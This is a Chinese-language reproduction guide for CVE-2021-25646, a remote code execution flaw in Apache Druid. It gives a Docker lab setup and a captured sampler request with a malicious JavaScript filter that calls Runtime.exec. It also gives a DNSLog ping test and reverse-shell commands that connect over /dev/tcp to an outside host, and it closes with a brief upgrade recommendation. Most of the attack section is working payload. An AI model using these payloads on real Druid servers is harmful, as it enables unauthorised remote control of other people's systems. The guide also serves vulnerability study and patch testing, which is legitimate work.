CVE-2021-25646：Apache Druid远程命令执行漏洞复现
漏洞概述
Apache Druid 是一个分布式的数据处理系统。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中，用户发送恶意请求，利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码，控制服务器。
影响版本
Apache Druid < 0.20.1
环境搭建
docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid
漏洞复现
访问8888端口，进入Apache Druid首页：
点击左上方Load data -> Local disk:
右侧表单填入:
Base directory:
quickstart/tutorial/
File filter:
wikiticker-2015-09-12-sampled.json.gz
接下来一路点击next，直到下一步是Filter时，抓取数据包：
此时替换数据包中POST的data数据，原始数据：
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[]}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
替换后的数据：
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
其中，执行命令的代码为：
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')}"
DNSLog测试
exec('ping xxx.dnslog.cn -c 1')
反弹shell
exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.1.1/9876 0>&1')
成功反弹shell。
修复建议
升级到最新版Apache Druid 0.20.1
